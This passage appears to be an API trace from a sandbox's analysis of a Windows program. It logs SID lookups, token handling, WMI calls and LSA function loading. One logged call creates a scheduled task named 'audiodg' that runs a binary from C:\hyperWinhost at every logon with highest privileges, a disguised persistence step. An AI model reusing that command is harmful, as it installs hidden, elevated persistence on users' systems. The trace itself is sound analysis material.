lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0070.159] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0070.159] GetLastError () returned 0x7a [0070.159] malloc (_Size=0x2c) returned 0xee240 [0070.159] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0070.159] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.159] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0070.159] malloc (_Size=0x1c) returned 0xeff30 [0070.159] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.159] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0070.159] malloc (_Size=0x18) returned 0xef0a0 [0070.159] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0070.159] malloc (_Size=0x18) returned 0xeef20 [0070.159] malloc (_Size=0x18) returned 0xef020 [0070.159] SysStringLen (param_1="S-1-") returned 0x4 [0070.159] SysStringLen (param_1="5") returned 0x1 [0070.159] memcpy (in: _Dst=0x381178, _Src=0x381358, _Size=0xa | out: _Dst=0x381178) returned 0x381178 [0070.159] memcpy (in: _Dst=0x381180, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x381180) returned 0x381180 [0070.159] free (_Block=0xef0a0) [0070.159] free (_Block=0xeef20) [0070.159] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0070.160] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0070.160] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0070.160] malloc (_Size=0x18) returned 0xeef20 [0070.160] malloc (_Size=0x18) returned 0xef0a0 [0070.160] SysStringLen (param_1="S-1-5") returned 0x5 [0070.160] SysStringLen (param_1="-") returned 0x1 [0070.160] memcpy (in: _Dst=0x3812f8, _Src=0x381178, _Size=0xc | out: _Dst=0x3812f8) returned 0x3812f8 [0070.160] memcpy (in: _Dst=0x381302, _Src=0x381358, _Size=0x4 | out: _Dst=0x381302) returned 0x381302 [0070.160] free (_Block=0xef020) [0070.160] free (_Block=0xeef20) [0070.160] malloc (_Size=0x18) returned 0xeef20 [0070.160] malloc (_Size=0x18) returned 0xef020 [0070.160] SysStringLen (param_1="S-1-5-") returned 0x6 [0070.160] SysStringLen (param_1="21") returned 0x2 [0070.160] memcpy (in: _Dst=0x381358, _Src=0x3812f8, _Size=0xe | out: _Dst=0x381358) returned 0x381358 [0070.160] memcpy (in: _Dst=0x381364, _Src=0x381178, _Size=0x6 | out: _Dst=0x381364) returned 0x381364 [0070.160] free (_Block=0xef0a0) [0070.160] free (_Block=0xeef20) [0070.160] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0070.160] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0070.160] malloc (_Size=0x18) returned 0xeef20 [0070.160] malloc (_Size=0x18) returned 0xef0a0 [0070.160] SysStringLen (param_1="S-1-5-21") returned 0x8 [0070.160] SysStringLen (param_1="-") returned 0x1 [0070.160] memcpy (in: _Dst=0x381178, _Src=0x381358, _Size=0x12 | out: _Dst=0x381178) returned 0x381178 [0070.161] memcpy (in: _Dst=0x381188, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x381188) returned 0x381188 [0070.161] free (_Block=0xef020) [0070.161] free (_Block=0xeef20) [0070.161] malloc (_Size=0x18) returned 0xeef20 [0070.161] malloc (_Size=0x18) returned 0xef020 [0070.161] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0070.161] SysStringLen (param_1="4219442223") returned 0xa [0070.161] memcpy (in: _Dst=0x337788, _Src=0x381178, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0070.161] memcpy (in: _Dst=0x33779a, _Src=0x381358, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0070.161] free (_Block=0xef0a0) [0070.161] free (_Block=0xeef20) [0070.161] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0070.161] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0070.161] malloc (_Size=0x18) returned 0xeef20 [0070.161] malloc (_Size=0x18) returned 0xef0a0 [0070.161] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0070.161] SysStringLen (param_1="-") returned 0x1 [0070.161] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0070.161] memcpy (in: _Dst=0x337ace, _Src=0x381178, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0070.161] free (_Block=0xef020) [0070.161] free (_Block=0xeef20) [0070.161] malloc (_Size=0x18) returned 0xeef20 [0070.161] malloc (_Size=0x18) returned 0xef020 [0070.161] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0070.162] SysStringLen (param_1="4223814209") returned 0xa [0070.162] memcpy (in: _Dst=0x327668, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0070.162] memcpy (in: _Dst=0x327690, _Src=0x381178, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0070.162] free (_Block=0xef0a0) [0070.162] free (_Block=0xeef20) [0070.162] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0070.162] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0070.162] malloc (_Size=0x18) returned 0xeef20 [0070.162] malloc (_Size=0x18) returned 0xef0a0 [0070.162] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0070.162] SysStringLen (param_1="-") returned 0x1 [0070.162] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0070.162] memcpy (in: _Dst=0x34d994, _Src=0x381178, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0070.162] free (_Block=0xef020) [0070.162] free (_Block=0xeef20) [0070.162] malloc (_Size=0x18) returned 0xeef20 [0070.162] malloc (_Size=0x18) returned 0xef020 [0070.162] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0070.162] SysStringLen (param_1="3835049652") returned 0xa [0070.162] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0070.162] memcpy (in: _Dst=0x3276a6, _Src=0x381178, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0070.162] free (_Block=0xef0a0) [0070.162] free (_Block=0xeef20) [0070.162] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0070.163] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0070.163] malloc (_Size=0x18) returned 0xeef20 [0070.163] malloc (_Size=0x18) returned 0xef0a0 [0070.163] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0070.163] SysStringLen (param_1="-") returned 0x1 [0070.163] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0070.163] memcpy (in: _Dst=0x34d9aa, _Src=0x381178, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0070.163] free (_Block=0xef020) [0070.163] free (_Block=0xeef20) [0070.163] malloc (_Size=0x18) returned 0xeef20 [0070.163] malloc (_Size=0x18) returned 0xef020 [0070.163] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0070.163] SysStringLen (param_1="1000") returned 0x4 [0070.163] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0070.163] memcpy (in: _Dst=0x3276bc, _Src=0x381178, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0070.163] free (_Block=0xef0a0) [0070.163] free (_Block=0xeef20) [0070.163] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0070.163] malloc (_Size=0x5e) returned 0xf0800 [0070.163] free (_Block=0xef020) [0070.163] malloc (_Size=0x18) returned 0xef020 [0070.164] free (_Block=0xf0800) [0070.164] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0070.165] GetLastError () returned 0x7a [0070.165] malloc (_Size=0x14) returned 0xeef20 [0070.165] malloc (_Size=0x16) returned 0xef0a0 [0070.165] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0070.165] malloc (_Size=0x18) returned 0xeef00 [0070.165] malloc (_Size=0x18) returned 0xef040 [0070.165] free (_Block=0xeef20) [0070.165] free (_Block=0xef0a0) [0070.165] free (_Block=0xeff30) [0070.165] free (_Block=0xef040) [0070.165] free (_Block=0xeef00) [0070.166] free (_Block=0xef020) [0070.166] free (_Block=0xee240) [0070.166] malloc (_Size=0x48) returned 0xed270 [0070.166] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0070.171] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0070.172] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0070.172] malloc (_Size=0x18) returned 0xef020 [0070.172] CreateEnvironmentBlock () returned 0x1 [0070.204] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0070.204] malloc (_Size=0x18) returned 0xeef00 [0070.204] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"audiodg\" /sc ONLOGON /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"audiodg\" /sc ONLOGON /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xfa8, dwThreadId=0xfac)) returned 1 [0070.212] CloseHandle (hObject=0x2f8) returned 1 [0070.212] CloseHandle (hObject=0x2fc) returned 1 [0070.213] free (_Block=0xeef00) [0070.213] DestroyEnvironmentBlock () returned 0x1 [0070.213] malloc (_Size=0x48) returned 0xed400 [0070.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x52d1fa40, dwHighDateTime=0x1d9eb0c)) [0070.213] SetEvent (hEvent=0x1f0) returned 1 [0070.213] CloseHandle (hObject=0x234) returned 1 [0070.213] CloseHandle (hObject=0x248) returned 1 [0070.275] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0070.275] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0070.275] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0070.884] SetLastError (dwErrCode=0x0) [0070.884] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0070.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0070.884] SetLastError (dwErrCode=0x0) [0070.884] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0070.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0070.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0070.884] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f4f0 [0070.884] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f4f0, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0070.884] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f4f0 | out: hHeap=0x2e0000) returned 1 [0070.887] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0070.888] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.888] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.888] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0070.888] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.888] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0070.889] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0070.891] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0070.891] GetCurrentThread () returned 0xfffffffffffffffe [0070.891] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x248) returned 1 [0070.891] malloc (_Size=0xd8) returned 0xf4740 [0070.891] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0070.892] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0070.892] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0070.892] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0070.892] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0070.892] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0070.893] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0070.893] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0070.893] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0070.893] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0070.893] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0070.893] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0070.894] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0070.894] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0070.894] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0070.894] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0070.895] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0070.895] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0070.895] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0070.895] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0070.895] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0070.895] malloc (_Size=0x18) returned 0xeef60 [0070.895] DuplicateTokenEx (in: hExistingToken=0x248, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0070.895] malloc (_Size=0x48) returned 0xed2c0 [0070.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x533ab6c0, dwHighDateTime=0x1d9eb0c)) [0070.896] SetEvent (hEvent=0x1f0) returned 1 [0070.901] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0070.902] GetLastError () returned 0x7a [0070.902] malloc (_Size=0x2c) returned 0xee200 [0070.902] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0070.902] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.902] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0070.902] malloc (_Size=0x1c) returned 0xeff00 [0070.902] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0070.902] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0070.902] malloc (_Size=0x18) returned 0xef020 [0070.902] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0070.902] malloc (_Size=0x18) returned 0xeef00 [0070.902] malloc (_Size=0x18) returned 0xef040 [0070.902] SysStringLen (param_1="S-1-") returned 0x4 [0070.902] SysStringLen (param_1="5") returned 0x1 [0070.902] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0xa | out: _Dst=0x3811a8) returned 0x3811a8 [0070.902] memcpy (in: _Dst=0x3811b0, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b0) returned 0x3811b0 [0070.902] free (_Block=0xef020) [0070.902] free (_Block=0xeef00) [0070.902] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0070.903] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0070.903] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0070.903] malloc (_Size=0x18) returned 0xeef00 [0070.903] malloc (_Size=0x18) returned 0xef020 [0070.903] SysStringLen (param_1="S-1-5") returned 0x5 [0070.903] SysStringLen (param_1="-") returned 0x1 [0070.903] memcpy (in: _Dst=0x381268, _Src=0x3811a8, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0070.903] memcpy (in: _Dst=0x381272, _Src=0x381238, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0070.903] free (_Block=0xef040) [0070.903] free (_Block=0xeef00) [0070.903] malloc (_Size=0x18) returned 0xeef00 [0070.903] malloc (_Size=0x18) returned 0xef040 [0070.903] SysStringLen (param_1="S-1-5-") returned 0x6 [0070.903] SysStringLen (param_1="21") returned 0x2 [0070.903] memcpy (in: _Dst=0x381238, _Src=0x381268, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0070.903] memcpy (in: _Dst=0x381244, _Src=0x3811a8, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0070.903] free (_Block=0xef020) [0070.903] free (_Block=0xeef00) [0070.903] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0070.903] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0070.904] malloc (_Size=0x18) returned 0xeef00 [0070.904] malloc (_Size=0x18) returned 0xef020 [0070.904] SysStringLen (param_1="S-1-5-21") returned 0x8 [0070.904] SysStringLen (param_1="-") returned 0x1 [0070.904] memcpy (in: _Dst=0x3811a8, _Src=0x381238, _Size=0x12 | out: _Dst=0x3811a8) returned 0x3811a8 [0070.904] memcpy (in: _Dst=0x3811b8, _Src=0x381268, _Size=0x4 | out: _Dst=0x3811b8) returned 0x3811b8 [0070.904] free (_Block=0xef040) [0070.904] free (_Block=0xeef00) [0070.904] malloc (_Size=0x18) returned 0xeef00 [0070.904] malloc (_Size=0x18) returned 0xef040 [0070.904] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0070.904] SysStringLen (param_1="4219442223") returned 0xa [0070.904] memcpy (in: _Dst=0x3382c8, _Src=0x3811a8, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0070.904] memcpy (in: _Dst=0x3382da, _Src=0x381238, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0070.904] free (_Block=0xef020) [0070.904] free (_Block=0xeef00) [0070.904] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0070.904] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0070.904] malloc (_Size=0x18) returned 0xeef00 [0070.905] malloc (_Size=0x18) returned 0xef020 [0070.905] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0070.905] SysStringLen (param_1="-") returned 0x1 [0070.905] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0070.905] memcpy (in: _Dst=0x3376be, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0070.905] free (_Block=0xef040) [0070.905] free (_Block=0xeef00) [0070.905] malloc (_Size=0x18) returned 0xeef00 [0070.905] malloc (_Size=0x18) returned 0xef040 [0070.905] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0070.905] SysStringLen (param_1="4223814209") returned 0xa [0070.905] memcpy (in: _Dst=0x34da68, _Src=0x337698, 